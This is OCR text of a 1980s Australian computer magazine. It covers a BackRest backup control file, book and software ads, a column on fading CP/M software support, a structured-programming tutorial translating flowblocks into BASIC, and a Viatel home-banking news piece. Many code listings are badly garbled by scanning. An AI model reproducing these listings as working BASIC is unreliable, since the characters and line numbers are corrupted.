%* CONTROL RECORDS 

SPLIT: true 

BELL REPEAT: talse 

DEST ORIVE: a 
SOURCE: e>d 
CONTROL ORIVE: e¢ 
VERIFY: true 
REUSE: false 
ERASE: true 

<-- Grey 

<-- Green 

<-- White 

<-- Yellow 

<-- Cyan 

<-- Red 

EXCEPTION RECORDS 

by a preceding PATH: 

This is the CONTROL.BR tile that tells BackRest how to operate 10: Concurrent PC DOS Hard Oisk Backup 

on your CP/M and DOS tiles under Concurrent. 

This control tile is for a personal computer with a color screen * The following records control backup and restore operations. 
<-- Divide backup files If required. 

<-- Set to *true” for repeating bell prompt. 

<-- Backup disk drive. 

<-- Hard disk drives to be backed up. 

<-- BackRest system work drive. 

<-- Verity each tile by read-after-urite. 

<-- Do not reuse backup disks. 

<-- Always erase destination disk first. 

*% Backup and restore the following user numbers an CP/M media: 
USERS: 0515253545556; 758,9,;105115;12513,14515 

Least ambiguous exceptions must appear first. 

DO NOT REMOVE THE FIRST TWO EXCEPTIONS. 

Only the DOS tiles that reside in the subdirectories declared 

record will be affected by an exceptian 

with "D” in the first tield. 

eM 1 #52 «53 4 5 

Five fields are mandatory tor exception records. These are: 

*% user sdrive,process ftlag:d(elete) or k(eep);tilename.extension 

**% Use ’D” in the first field for DOS tiles. 

* A sixth tield» password,» may be added tor CP/M tiles. 

PATH: c:\ 

EXC: 75? sn»d»*.$9S 

* End of CONTROL.BR 

<-- Subdirectories to backup and restore. 

EXC: ?53?,se¢ksecontrol?.br 

<-- Print report when finished. EXC: 25? nok s%. br? 

<-- Report on tiles not backed up. EXC: 271+? snxd>*. bak 

<-- Backup contro! tiles it moditied. 

<-- Do nat backup .BR files. 

<-- Delete .BAK files. 
<-- Delete .$%% tiles. 
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Books of Special Interest to Our Readers 
PROGRAMMING FOR REAL BEGINNERS: 
STAGE 1 
Written for complete beginners, this book assumes 
no previous knowledge of computers at all and is an 
excellent guide through the initial stages of building 
simple programs. The text is written to be non-ma- 
chine-specific, so it can be used with any micro that 
is programmable in BASIC. 82pp. 

H0344A $8.95 

PROGRAMMING FOR REAL BEGINNERS: 
STAGE 2 
This book introduces the stages of planning a pro- 
gram, including the use of flowcharts, and explains 
the wider range of facilities the computer has to offer. 
You'll also learn how to plan your screen displays at- 
tractively to make your programs really user friendly. 
80pp. 

HO387A 

STARTING FORTH 
This clear and complete guide to FORTH, covers 
fundamental principles and then a full set of high- 
level commands. It concludes with advanced tech- 
niques and style. 348pp. 

K0177H $25.00 

BASIC PROGRAMS FOR SCIENTISTS AND 
ENGINEERS 
Contains over 60 of the most frequently used scien- 
tific algorithms with their program implementation in 
BASIC. Covers problem solving techniques with pro- 
gram listings and sample runs. Includes exercises 
and a glossary of BASIC variable names. 318pp. 

K0179H $25.95 

COMPUTER PROGRAMS IN BASIC 
This fully-indexed review of over 1600 BASIC pro- 
grams describes what each program does, where it 
can be found, and lists the equipment needed to 
make the program run. Very useful as a source- 
guide to free, already published programs. 271pp. 

K0192A $18.25 

$13.95 

new books ——— just received 

COMPUTER TERMINOLOGY EXPLAINED 
Concisely explains the most common terms encoun- 
tered by the home computer enthusiast as well as 
many of those used with mini- and mainframe com- 
puters. Includes tables of ASCII codes and BASIC 
control codes. 81pp. 

H0143B $5.95 

ALMOST EVERYBODY’S PERSONAL 
COMPUTER BOOK 
Written for the computing beginner to break the enor- 
mous barrier of jargon and mystique that seems to 
surround computers. With a highly readable ap- 
proach, the author introduces the basic concepts and 
developes them into a general discussion on per- 
sonal computers including choosing and caring for a 
PC. Also offers an introduction to BASIC program- 
ming. 160pp. 

H0144Z Only $8.95 

SPOTLIGHT ON COMPUTER AWARENESS 
An introduction to speaking confidently about how 
computers work, their applications, their history (from 
abacus to IBM) and employment prospects in com- 
puter related fields. Includes a comprehensive glos- 
sary. 84pp. 

HO145P $6.95 

A PRACTICAL INTRODUCTION TO 
MICROPROCESSORS 
Takes the reader through the construction of a sim- 
ple microprocessor and experimenting with it to gain 
an insight into the complexities of microprocessing. A 
general knowledge of electronics is assumed. 

J0158B $5.95 

EASY ADD-ON PROJECTS FOR COMMODORE 
64, VIC-20, BBC MICRO & ACORN ELECTRON 
The simple and inexpensive projects include a pulse 
detector, model controller, light pen, lap sensor and 
more plus six projects that make up a weather sta- 
tion. 191pp. 

J0165B $6.95 

SECRETS OF THE COMMODORE 64 
A beginner's guide to the C64 with masses of useful 
information and programming tips as well as describ- 
ing how to get the best from the powerful sound and 
graphics facilities. Includes two useful chapters on 
machine code. 109pp. 

J0297B $5.95 

MICRO INTERFACING CIRCUITS: BOOK 1 
Guides those who are unaccustomed to microproces- 
sor techniques but have some knowledge of elec- 
tronics, through a practical approach to address 
decoding, parallel and serial interfacing, analogue to 
digital and digital to analogue converters, etc. 96pp. | 
J0325B $6.55 

MICRO INTERFACING CIRCUITS: BOOK 2 
Developes the practical side of interfacing introduced 
in Book 1. Discusses sound and speech generators, 
temperature and optical sensors, motor controllers, 
etc. 87pp. 

J0326B $6.55 

AN INTRODUCTION TO PROGRAMMING THE 
BBC MODEL B MICRO 
Teaches the use of BBC BASIC by guiding the 
reader through BASIC instructions and functions one 
at a time, building programs in a logical manner with 
increasing complexity. 134pp. 

K0174B $5.95 

AN INTRODUCTION TO 6502 MACHINE CODE 
Starts with a general background to microprocessing 
and then details all of the legal 6502 instructions. 
Also covers the use of address modes and gives ma- 
chine specific listings and sample programs. 107pp. 

K0178B $5.95 

AN INTRODUCTION TO Z80 MACHINE CODE 
Starts with a general background to microprocessing 
and then details the full set of Z80/Z80A instructions. 
Also covers the use of address modes and gives ma- 
chine specific listings and sample programs. 107pp. 

K0180B $6.95 

specials —— this month only 

THE 6809 COMPANION 
This reference for the 6809 microprocessor covers its 
history, architecture, addressing modes, and the full 
instruction set. Includes chapters on converting pro- 
grams from the 6800, programming style, interrupt 
handling, and notes on the available hardware and 
software. $5.95 Retail, 88pp. 

J0154B Reduced to $2.00 

PRACTICAL COMPUTER EXPERIMENTS 
For the newcomer to electronics and computing. This 
book examines the operation of a number of basic 
computer circuit elements in explanation of how the 
mysterious computer ‘chip’ works. Includes construc- 
tion details of a power supply and a logic state moni- 
tor. $6.95 Retail, 91pp. 

J0172B Reduced to only $2.00 

Order Today — Return the Freepost reply card to: 
Federal Marketing Book Sales 
PO Box 227, Waterloo 2017, NSW 
Tel: (02) 663-9999 Tix: AA74488 FEDERAL MARKETING BOOK SALES 



PROGRAMMER’S WORKBENCH 

BackRest an ambiguous file specification. 
You can also restore bad files automati- 

cally. BackRest considers a file ‘bad’ if it is 
unable to copy the file (due to a source 
media sector error, for example) to a back- 
up disk. When you select this option, Back- 
Rest locates the previously backed-up copy 
of the file and restores it to your hard disk. 

A particularly nice feature is that Back- 
Rest generates reports of its backup and 
restore operations, showing what it has 
done with particular files, which backup 
disk they are on, how many errors the oper- 
ator made and so on. The reports are di- 
vided into four categories: Backup, Res- 

tore, Hard-disk Statistics, and Errors. 
We've been using BackRest for a couple 

of weeks and have found it to be particular- 
ly versatile and useful. Versions are avail- 
able for a variety of operating systems, 
including CP/M-86 and Concurrent, and it 
is highly recommended. 

CP/M Support 

| recently attended a meeting of the Syd- 
ney Kaypro User Group (the number of 
different machines we have here means | 
could spend over half my evenings attend- 
ing user group meetings), at which acom- 

mon and increasing problem was high- 
lighted. 

The vast majority of SC(UG members has 
8-bit machines — Kaypro Ils, IVs and 10s 
— and all are, virtually without exception, 
pleased with the performance and capabi- 
lities of their machines. The Kaypros were 
originally bought for word processing, 
accounting, and similar applications, and 
have continued to fulfil those roles quite 
satisfactorily. 

They will continue to work in those roles, 
and have the capability of running other 
programs as required. But the major diffi- 
culty faced by users is the ‘evaporation’ of 
software support for their machines as 
suppliers chase the 16-bit, and particularly 
IBM and compatible, market. 

Admittedly, the recent purchaser of a 
new machine is likely to buy more software 
than someone who is occasionally adding 
to his software collection. But the fact is 
most of these machines are only two years 
old, and the user's requirements are 
bound to change within the lifetime of the 
machine, which is reasonably four years, if 

not more. The user has a right to expect, 
and does expect, continued support 
throughout the life of the computer, not 
just from the original manufacturer, but 
also from the software vendors who have 

produced packages for the machine. 

If those expectations are not met, if a 
supplier withdraws products prematurely 
(in the eyes of the prospective purchaser), 
then the loser is not the user so much as 
the supplier. He has lost credibility in the 
eyes of the consumer, and quite frankly, 
many companies are going to have to real- 

ise that if they want to get hold of the 
consumer dollar, they will have to give 
consumers what they want, when they 
want it. 

Once a supplier has established a repu- 
tation for dropping the 8-bit CP/M pro- 
ducts, the consumer starts to wonder: with 
Unix approaching, and 32-bit supermicros 
around the corner, how long are those 
companies going to support the 16-bit MS- 

DOS market? Will they bail out premature- 
ly again? If | buy an IBM PC today, with the 
PC II just around the corner, are software 
suppliers going to drop the PC and con- 
centrate on the new machine? 

What the software suppliers are saying 
is: you had better buy all the software you 
think you might need — and probably 
some you currently have no earthly use for 
— at the same time as you buy the 
machine, because in two years’ time we 
won't want to know you. If you’re not smart 

enough to anticipate your future needs, 
tough luck, sucker. 

A key word that comes to mind is matur- 
ity. This kind of activity is characteristic of 
an immature industry, which the retail 
software industry certainly is. Maturity of 
products is also important. Just when the 
bugs are completely ironed out, just when 
the performance has been tweaked, just 
when everybody is totally familiar with the 
technology and the user feels safe and 
secure buying it — that’s the time when 
the industry abandons it to chase a more 
saleable but immature product line, with 
bugs, performance limitations and all 
kinds of problems. 

| can’t help but sympathise with the 
poor long-suffering 8-bit user who is happy 
with what he or she has and wants more of 
the same, but finds that companies who 
had the products will no longer supply 
them. 

To this end, we’re compiling a directory 
of 8-bit CP/M software, to be published in 
Your Computer in a few months’ time. If you 
supply CP/M software, please write with 
details to Maria Lengas, at Les Bell and 
Associates Pty Ltd, PO Box 297, Neutral 
Bay Junction 2089. We'll send you a ques- 
tionnaire if necessary. O 

JAT Sosry 
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PANO WIDE Bp 

> IS BOLO 

‘WORD 
PROBLEMS 
SOLVED 

ODERN PRINTERS have dozens of con- 
trol codes. But how do you tell Wordstar 

you want to print bold, elite, graphics, under- 
lined, compresed, wide, emphasized, 
superscript/subscript and hundreds of other 
things? 

FLASHPRINT!! solves the problem. Now Word- 
star can print anything simply by keying one or 
two characters into a Wordstar file. You name it 
— if your printer can print it Wordstar can too. 

There's more. FLASHPRINT!! includes a pro- 
gram which allows you to design your own 
characters and print them easily. 

FLASHPRINT!! requires no modifications to 
Wordstar. You just customize FLASHPRINT!! 
for your printer and requirements and run 
FLASHPRINT!! instead of Wordstar. 

Now Wordstar can print anything. We guaran- 
tee it. ANYTHING. And without any fuss. 

NOW WITH FLASHKEY!! 
FLASHKEY!! is doubly smart. It allows any 
character (including control characters) to be a 
function. That's 127 functions keys on your 
computer. Function keys can contain hundreds 
of bytes. FLASHKEY!! also allows key transla- 
tion. You can easily create a Dvorak keyboard 
or change Wordstar's clumsy commands. 

FLASHPRINT!! with FLASHKEY!! needs 
Wordstar V2.26, V3.0 or V3.3. 

*58 
Our low price includes packaging and postage 
and a comprehensive user guide. Formats 
include Osborne (for Microbee and Kaypro), 
8-inch, Apple, Microbee 3.5-inch and DSDD. 
MS-DOS version now available at $88. 

JRT SOFTWARE 
42 TURNERS AVENUE 
COROMANDEL VALLEY 

SA 5051 (08) 278-7076 
FLASHPRINT!! with FLASHKEY!! is 
a super program. We believe it will 
completely change the way you use 
Wordstar. 
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Structured Programming ................cssscsssseeees 
All those diagrams were very impressive, but clearly 
they're not going to run as programs. This month the 
good Doctor Phil shows how to translate your flowblocks 
into functioning code, using both manual methods and 
a translation program. 
By Phil Grouse 

Viatel Grapevine’ ..............cccsccsccsscesccsccescesceecs 
How did Viatel get into Instruction Set? Well, it’s really 
only visiting until its own section reappears in August 
— there just wasn't any room for Norman's business 
articles this month ... 
By Norman Kemp 

PCs in Marketing ...................ccccecccsccscssceeeee 
To market, to market. Les has been successfully market- 
ing himself for some time. But aside from all that 
practical experience, he does have real qualifications in 
the field. In this new tutorial series he combines his 
talents to help marketing professionals make effective use 
of computers. The series should also be of interest to 
comp.:ter users in general. 
By Les Bell 



HOW TO WRITE 
A STRUCTURED PROGRAM — Part 4 

This month Phil Grouse, 
our structured 
programming guru, 

explains the process of 
converting flowblock logic 
specifications manually 
into ‘real’ BASIC. He also 
introduces Speedlt, a 
program which automates 
this process. 

LAST TIME, dear programmer, we de- 
veloped a complete file displaying a prog- 
ram as a set of flowblocks. These have all 
been collected into Figure |, so you can 
follow the logic of the next few steps. 

Printer 

GOSUB Prologue 

GOSUB Process 

GOSUB Epilogue 
a. Mainline. 

Prologue 

cls 

input “Name of file to be printed”;n$ 
open n§ for input as #1 

,n-0 

b. Possible prologue solution. 

Process 

WHILE not eof(1) 

n=n+1  jine input #1,1$ 

GOSUB PrintLine 

c. Process flowblock using 
simple looping operation. 

Because the program is represented in 
flowblock notation (although the text is in 
the BASIC language), we can be confident 
the program is ‘structured’. In other words, 
we have restricted our control structures to 
the ‘preferred set’ of WHILE, IF, IF-ELSE 
and so on. There are no GOTO statements, 
simply because there are no line numbers 
to go to! All the GOSUBs refer to other 
flowblocks by name. 

Clearly, although this graphical repre- 
sentation is fine for program documenta- 
tion, we need to translate it into real BASIC 
before it can be run. This article will take 
you through the simple steps of achieving 
translation using manual methods, and 
will demonstrate how the same can be 
done with a suitable flowblock translator 
program. 

Before commencing this exercise, it 
should be understood our use of BASIC 
has little to do with flowblocks as such. We 
could have used any other language if our 
intent was to do the subsequent transla- 
tion by hand. As it happens, the Speedit(*) 
system presently supports only the trans- 

PrintLine 

IF n mod 20=0 

GOSUB wait 

wait 

d. Printline 
subroutine, called 

by the Process 

flowblock. 

print 

print “Press any key to continue “; 
tmp$ = inkey$ 

WHILE len(tmp$)=0 

tmp$ = inkey$ 

e. The Wait module, called by Printline. 

Epilogue 

print 

print “End of file.” | The Epilogue 
tidies loose ends. 

close #1 

Figure |. Flowblock representation of the Printer program. 

lation of BASIC flowblocks, although other 
translators are coming Real Soon Now. As 
a corollary, one could also use flowblocks 
to specify a program's logic using non- 

existent languages such as structured En- 
glish. 

Another point to be made here is we 
may now dismiss thoughts of ‘program 
logic’, since that step is now complete. We 
are simply interested in translating the 
flowblocks, not ‘understanding’ them. 

Translating Flowblock Programs 

For the purposes of this exercise, we will 
assume your BASIC interpreter has a 

WHILE and WEND pair of statements. This 
is certainly true of the BASIC I use on my 
IBM PC, and | know certain other BASIC 
dialects (such as CBASIC and SBASIC) also 
support that control structure. If not, one 
simply codes it with a suitable IF state- 
ment preceding the loop, ending the loop 
with a GOTO which returns control to the 
covering IF statement. We will also assume 
our BASIC lacks the ELSE statement, 
although mine certainly supports that syn- 
tax. In other words, we will translate the 
flowblocks into fairly elementary BASIC. 

Let’s begin with Figure la, the program 
mainline. It consists of three subroutine 
calls to named modules. While we can 
assign line numbers to the three GOSUBs, 
we cannot as yet replace the module 
names with their proper line numbers, be- 
cause we don’t know where they will re- 
side. Our first pass at the translation there- 
fore looks like Listing 1. Later we will re- 
place module names with line numbers. 

Notice how we have placed a STOP 
statement immediately after the mainline 
code. This is to prevent control from ‘drib- 
bling’ into the subroutines which will fol- 

ic0 REM Printer — 

a proaram to 

120 505J8 Froiague 

L2c. GOSULB Process 

130 GOSiB =>: :oOgQVNe 

i40 STOP 

>,S5t Aa namec tiie 

Listing |. A first-pass translation of the 
program mainline. 
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low. You can also replace the STOP with an 
END in some BASICs, even though this is 
not the last statement in the program 
listing. 

Listing 2 is the manual translation of 
Prologue. It couldn’t be simpler. We just 
put line numbers in front of each of the 
flowblock lines, since all of them are sim- 
ple sequential operations. Notice now we 

can replace the module name Prologue in 
Listing | with the number 150, but let’s 
reserve this replacement until we have a 
complete table of module names with 
their line numbers. 

150) REM Proice::e mcoatie 

160 Ci: 

i7o. INPLT ”Name cof 

tiie tc be printea’int 

18CG OPEN NS FOR INPUT AS #i 

19f NBD 

230 RET IRN 

Listing 2.Translation of the module Prologue. 

You may have noticed | am replacing 
some of the lower case flowblock entries 
with their upper case equivalent. It really 
doesn’t matter if you are using IBM BASIC, 

but some other dialects may fall over un- 
less you do this. Notice also, we must 
place a terminal RETURN statement at the 
end of each subroutine. The translation for 
the Process module is also a simple mat- 
ter, and is shown in Listing 3. 

210 ®EM Process moqcuie 

220 WHILE NOT EOF (1) 

2305 N=N+ 4 

240 LINE INPUT #151.% 

250 GOSUB Printiine 

260 WENG 

270 RETURN 

Listing 3. Translation of the Process module. 

Again, the translation was obvious. The 
body of the WHILE loop has been indented 
a bit to highlight its logical position, and 
the reference to the PrintLine module re- 
mains ‘unresolved’. That will be fixed, 
together with all the other GOSUB refer- 
ences, inasecond pass through the listing. 

In a similar vein, Listing 4 is our initial 
translation for PrintLine (Figure 1d). 

If your BASIC supports multi-statement 
lines, then line 290 could have been coded 
as ‘IF ... THEN GOSUB Wait: CLS’, and lines 
300 to 320 would then be deleted. By writ- 
ing it as shown in Listing 4 we emphasise 
the contents of the ‘true’ body, but with a 
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280 REM Printiine moduie 

270 IF N MOD 20 = U THEN 31iG 

30C GOTO 330 

3:0 GOSIJB wait 

320 CLS 

330 PRINT Noi. 

340 RETURN 

Listing 4. The PrintLine module. 

possible speed penalty since some BASICs 
execute GOTOs surprisingly slowly. Be 
sure you agree that Listing 4 really does 
correspond to Figure Id. 

} REM wa:t mocuie 

PRIN] 

& PRINT 

JEress any key tO centinue ”; 

TPS = iNKEYS 

}] WHILE LENCTMPS)=0 

TMPS = INKEYS 

13 wEND 

Rr. TURN 

> REM Ep: rogue 

PRINT 

Suc HRINT “Ene oF trves” 

CLOSE #+ Listing 5. Translation 
Ce SE TURN 
NF for the last two modules, 

Wait and Epilogue. 

Completing the Translation 

Since the translation so far involves a 
number of unresolved references to mod- 
ule names, we must ‘resolve’ those refer- 
ences by replacing the names with line 
numbers. It is a good idea to begin by 
building a table which links each name to 
its line number. The reference linkage 
table is shown in Figure 2. Its contents 
were established by scanning the listing, 
and noting the line number of each REM 
statement prefixing a module. 

As a final step, we replace each of the 
GOSUB references in Listings | to 5 with 
the corresponding line number as speci- 
fied in the Reference Linkage Table. 

Of course, things can get a little stickier 
when we start nesting the various control 
Structures, but the principles are substan- 
tially the same. Because the translation 

Line Number Module Name 

150 Prologue 
210 Process 

280 PrintLine 

350 Wait 
430 Epilogue 

Figure 2. The Reference Linkage Table 
corresponding to Listings | through 5. 

process really is an elementary (and bor- 
ing) clerical operation, it is a fine candi- 
date for automation. And that’s precisely 
where Speedit’s translator comes in. 

Automatic Translation 

The Microshare SpeedIit system has two 
components — a flowblock editor, and a 
translator. The flowblock editor lets you 
write programs as a collection of flow- 
blocks which are represented by a file with 
the file-type .SPT. This file represents the 
flowblocks as a linked list of lists. In our 
next article we will show you how this edi- 
tor can be used to prepare and modify 
programs. Speedit’s translator program 
(XLATE) takes an .SPT file and converts it 
directly into a .BAS file. We have run 
XLATE on the Printer program with the 
results shown in Listing 6. 

: /Breinter: FProceaure 

i} ‘O spiay 4 t:.e .tne sy a. ne. 

L WiSPIAay a nOominatea tiie with 

‘a page-preak (20 i ines/page). 

GOSUB 220: ‘Proiogue 

GOSiB 320: ’Process 

GOSUB 710: ’Epi jogue 

End of procedure Printer 

End :REM End of main program 
7] 

4 

’Proiogue: Procedure 

*Open the tiie and estab! ish 
fiie-end conditions 
J 

u cis 

input 

‘Name ot tiie tr be orinted’;nd 

open n& tor input as #i 

n= 

Return 
J 

’Process: Procedure 

*Print iine by line untii eot 
J 

7eot(1) is set atter the 

?jast record has been read. 

WHILE not eot(1) 

n=nti 

i ine input #1516 

’Display the contents of if 

GOSLB 460: ’Printi.ine 

WEND 

Return 
J 

} 

G ’PrintLine: Procedure 

’Print iS aliowing tor page 
preaks 

} 

IF n mea 20 = 0 THEN 510 

GOTO 54C 



’Then Unit 

GOSUB S70: 

cls 

’$001 

print noid 

Return 
7] 

7wait 

r) 

‘wait: Procedure 

wait tor a keypress 

"Genera: Siimroutine which 

waits tor 

G ’user tO press any key 

petore returning. 

ub print 

print "Press any key tz 

ccuntinue 73 

WHILE ten inkeyS)=C 

G wEND 

Return 

1 “Es; logue: -rsocedure 

‘Wind up the program 
ae 

print 

print "End of fiie.” 

close #1 

Return 
3 

J 

’End of Listing 

Listing 6. The output of Speedlt's transla- 
tion of Printer. Notice the slight difference in 
the Wait module, a result of the improved 
version we developed in an earlier article. 
The translator also uses the apostrophe as a 
shorter substitute for REM. This program 
runs correctly in IBM BASIC. The fasti- 
dious can edit the program to optimise its 
performance if required, but there is little 
point when the program speed is limited by 
output speed. 

The DOS command was ‘xlate printer’, 
which caused XLATE to generate the file 
PRINTER.BAS from PRINTER.SPT. 

Notice the additional comments in- 
cluded in the listing. Some of these are 
included gratuitously by the translator, 
others result from ‘hidden’ comments in- 
cluded in the various blocks by the prog- 
rammer. In practice, the user never bothers 
with the program listing. Instead, one de- 
velops or modifies a program using 
Speedit’s flowblock editor, translates it 
with XLATE, then runs the program with a 
Suitable BASIC interpreter, or compiles it 
for subsequent execution. In other words, 
the flowblock set is the program. 

You will, of course, notice the profusion 
of GOTO statements in the listing. How 
can we assert that this program is ‘struc- 

tured’ if it is littered with such unstruc- 
tured elements? 

The answer is simple. Structure, as such, 

is an attribute of the program’s logical de- 
sign — not the actual code. This is espe- 
cially true of low-level languages such as 
BASIC, and even more so of the various 
assembler languages. But even assembler 
programs can be designed with flowblock 
notation, and can therefore be considered 
‘structured’. The presence of these GOTOs 
is simply an artefact of the process of 
translation. 

The Speedit System 

Flowblock notation has taken a long time 
to catch on. The same is true of its prede- 
cessor — the Nassi Shneiderman diagram. 
The reason is not hard to trace: they are 
both essentially manual methods which 
rely greatly on pencil and eraser work. In 
this sense they suffer the same disadvan- 
tages as flowcharts. 

The whole idea of Speedit is to free the 
flowblock from its paper foundations, and 
to provide the substantial editing facilities 
which we have come to expect from the use 
of modern personal computers. Because 
flowblocks are a relatively recent innova- 
tion, Speedit incorporates a substantial 
help screen facility which is designed to 
teach the fundamentals of structured 
programming using flowblock terminolo- 
gy. But its primary components are the 
flowblock editor (SP) and the translator 
(XLATE). 

In my next article, | will develop a new 
program designed to convert a file of cap- 
tured keystrokes into a formatted file suit- 
able for dBase II applications. | will de- 
scribe the design steps taken when using 
Speedit’s editor, and illustrate some addi- 
tional control constructs. O 

* Above Board 

You should be informed that Speedit is 
a program written by Phil Grouse, the 
author of this article. Phil has been 
working with flowblock notation for 
some years and recently developed the 
Speedlt package. He struck a dilemma 
when writing the Structured Program- 
ming series, in that he could hardly 
hold back on telling readers about an 
easier way of doing things — with 
Speedit. Nevertheless, we've prevailed 
upon him to explain all procedures in 
manual form first. 

Software 
Duplication 
Are you wasting yourtime... 

Why waste valuable software 
developmental time duplicating 
and packaging your software 
when you should be developing 
the next generation product. 

Consider the advantages: 

TOP QUALITY: We only use the 
highest quality magnetic media 
for our disks and tape. 

LOW COST: Our prices start at 
$2.38 per disk which includes the 
disk and duplication fee. 

CONFIDENTIALITY: All clients’ 
products are safeguarded bya 
written copyright agreement. 

CONVENIENT: We offer label 
printing and affixing as well as 
packaging. 

FORMATS: Most computer disk 
formats can be duplicated 
including Apple, IBM and 
Commodore. 

We are the experts. We make the 
marketing of software easy. 

Data 
Transfer 
Whether you are an end user ora 
software supplier you may need 
to transfer system or data files to 
another computer. 

Consider the possibilities: 

Transfer between similar 
operating systems but with 
different disk formats. For 
example Osborne CP/M to 
Morrow CP/M or IBM PC DOS 
to Apricot MS-DOS. 

Transfer between different 
operating systems. For example 
Osborne CP/M to IBM PC DOS 
or Apple DOS 3.3 to CP/M. 

All the popular disk sizes are 
catered for - 

31/2" - 51/4" - 8". 
For worry free data transfers we 
are the experts. 

(yy % INDEPENDENT 
i= SOFTWARE 
ad DUPLICATION 

3 Park Ave, Westmead NSW 2145 
Telephone (02) 635 0704 

(02) 633 5944 
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BY NORMAN KEMP 

Telecom Survey Shows 
Home Banking Interest 

In response to the growing interest in 

Viatel, Telecom is planning an extensive 
education campaign, aimed at the busi- 
ness community, for the third quarter of 
this year. By that time, Viatel expects the 
number of regular users to be well in ex- 
cess of the 2000 counted at the end of 
April. 

Telecom is preparing for this eventuality 
by increasing its number of ports, so the 
computers will be able to handle nearly 
320 incoming calls simultaneously by the 

end of 1985. According to Viatel customer 
service manager, Gordon Niven. If the pre- 

sent rate of growth is sustained, Viatel will 
need to be able to cope with about 800 
Simultaneous calls within its first 18 
months of operation. 

Viatel is basing its optimism on an ex- 
tensive survey taken among 10 per cent of 
users registered in April, while many of the 
information services were being prepared. 

Said Niven, “We telephoned them to 
find out what they thought of the service, 
and they were delighted to have the oppor- 
tunity to talk about it. Even though there 
was no great substance in the databases 
at the time, the majority of users said they 
were very excited about the prospects 
Viatel has to offer. Most were using their 
own personal computers and software, 

and about 60 per cent were in businesses 
or professional occupations.” 

One intriguing conclusion that emerged 
from the survey was the relatively mature 
age level of users. They generally ranged 
from the late 20s to early 50s, and most 
had been using personal computers for 
some time. 

“This could explain the considerable in- 
terest shown in software downloading,” 
said Niven. “A large proportion of users 
believed they would be regular users of 
electronic mail and messaging and home 
banking facilities. 

“Younger people, on the other hand, 
tend to see computers as games machines 
and have not yet realised the possibilities 
of computing. Even the older kids don't 
seem too ready to give up their television 
watching to explore the videotex scene. 
But they will be the next generation of 
videotex users, when there are dozens of 
applications tuned to their needs. 

Telecom-Evaluated Equipment 
Although Telecom will not be selling home 
and business computing equipment, it will 
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An ICL Australia 
spokesman said research 

in the United States 
suggests that by the 

mid-1990s home banking 
will account for up to 70 
per cent of all banking 

transactions. 

have available certain approved makes of 
terminals which it has recently been eva- 
luating. 

Said Niven, “Telecom will take equip- 
ment orders from users and pass them on - 
to specific suppliers, but it will not stock 
terminals and other products in competi- 
tion with vendors. Instead, it will act as an 
agency for two types of equipment — one 
Suitable for the domestic television set 
and the other a desktop unit with keyboard 
and screen.” 

Telecom will also be encouraging local 
manufacture of hardware equipment and 
software to satisfy the Australian market. 

Banking on Telecom 

Australia has certainly scored a world first 
with the Telebank national electronic 
home banking service launched by the 
Commonwealth Bank. Using Homelink 
Prestel software developed in the United 
Kingdom and modified for Australia by the 
bank's staff, the Commonwealth Bank is 
operating the world’s most extensive 
videotex service of its type. Linking 1200 
branches throughout the nation, the sys- 
tem has a possible limit of up to eight 
million customers. Its main elements com- 
prise a database containing account in- 
formation stored at the bank, which is dis- 
tributed through the telephone network 
from a central computer and presented on 
a screen to the user in response to 
keyboard commands. 

To access Telebank a customer needs a 
television set, a telephone, and a small 
keyboard which can be rented for $10 a 
month. Personal computer owners can ac- 
cess the system using a modem and the 
appropriate software. In addition to a 
range of financial and rural information, 
the service is being developed to provide 
travel and holiday information through the 
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bank's travel service, and will later be link- 
ed to bill-paying facilities, money markets 
and foreign exchanges. 

Both Telecom and the bank have taken 
rigorous precautions to ensure the secur- 

ity and confidentiality of transactions 
through Telebank, with various levels of 
passwords and codes. 

Several companies have produced 
equipment for Telebank, among them 
General Electric, Digital, Sony, Tandata 
and a Sydney company, Dotsoft. The latter 
has taken a Commodore 64 home compu- 
ter with cassette or disk drive, linked it toa 
Sendata modem, added some appropriate 
software and named the resulting package 

‘The Communicator’. Dotsoft sales direc- 

tor, Col James, said The Communicator, 
which retails for $349, has been designed 
not only for Viatel, but also handles the 
protocols of other databases, including 
the NAPLPS system. It will also be avail- 
able for the IBM PC, Apple and other lead- 
ing computers. 

The Commodore 64 version comprises 

tape or disk-based software containing 
programs for Prestel videotex 1200/75 and 
300/300 standards; a Commodore 64 ter- 
minal emulator; C64 basic file transfer; G- 
Pascal Christensen protocol communica- 
tions; 80-column terminal emulation; and 
an NAPLPS videotex terminal. 

The Sendata is a 1200/75, 300/300 baud 
switchable modem with built-in tele- 
phone. It connects directly to the Com- 
modore 64, communicating through a 
standard Telecom outlet. Dotsoft home 
banking and finance packages include Bill 
Payer, Expense Manager, Bank Manager, 

and Budget. 
Since it Opened on April 22, Telebank 

has handled many hundreds of customer 
enquiries, and occupies almost 100 of the 
current 120 gateways on Viatel. 

Brian Smith, Viatel’s marketing mana- 
ger, commented: “The development of a 
national videotex service such as Viatel is 
limited only by the ability of the service 
providers to develop and market imagina- 
tive applications. Telebank is not only one 
of the most significant developments in 
banking in recent years, but also one of the 
most exciting applications available to 
Viatel subscribers.” 

Telebanking Plus 

Even major computer companies have 

been quick to join the scene. The most 
recent of these is ICL Australia, which has 
released Folio, a system jointly developed > 
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by ICL and the government-owned De- 
velopment Finance Corporation of New 

Zealand. This system comes with the stan- 
dard telebanking facilities of account en- 
quiry and funds transfer, with bill payment 
capability for up to 99 personal creditors. It 
also has an integrated teleshopping ser- 
vice, allowing customers to order goods 
through videotex with payments being 
made automatically by the customer's 
home banking account. An unusual ap- 
plication of the package is a share-trading 
facility which allows customers to buy and 
sell securities through a stockbroker. In all, 
the system provides seven stages of secur- 
ity at both the banking and user levels. 

An ICL Australia spokesman said re- 

search in the United States suggests that 
by the mid-1990s home banking will 
account for up to 70 per cent of all banking 
transactions. This will include not only 
banks, but also credit unions and other 
financial institutions. 

Australians Take the Challenge 

The challenge of writing software for 

videotex has begun to attract Australian 
programmers. Peter Herman, of the Syd- 

ney company Neology, has developed V- 
Tel, a decoder program for IBM PCs which 
enables data from a videotex system to be 
translated and output to a computer 
screen. A sample program is provided to 
assist novices in the use of colour and 
Prestel’s rather heavy block graphics. 

Another recent product is u-Tel Viatel, a 
terminal emulator from Microcomputer 
Technology, of Chatswood, New South 
Wales, which allows the Digital Rainbow to 
be used as a terminal for Telecom Viatel. It 
translates the Prestel protocol of the Viatel 
computer into screen images using the 

Rainbow graphics option to produce the 
required special characters. 

Singapore Hooks Up 

Since Australian Viatel was launched early 
in 1984, there has been a further significant 
development in the south-east Asian re- 
gion: the British General Electric Company 
has won a $24 million order to supply a 
trial installation of Teleview, an informa- 
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tion system combining telephone-based 
videotex and broadcast teletext services. 
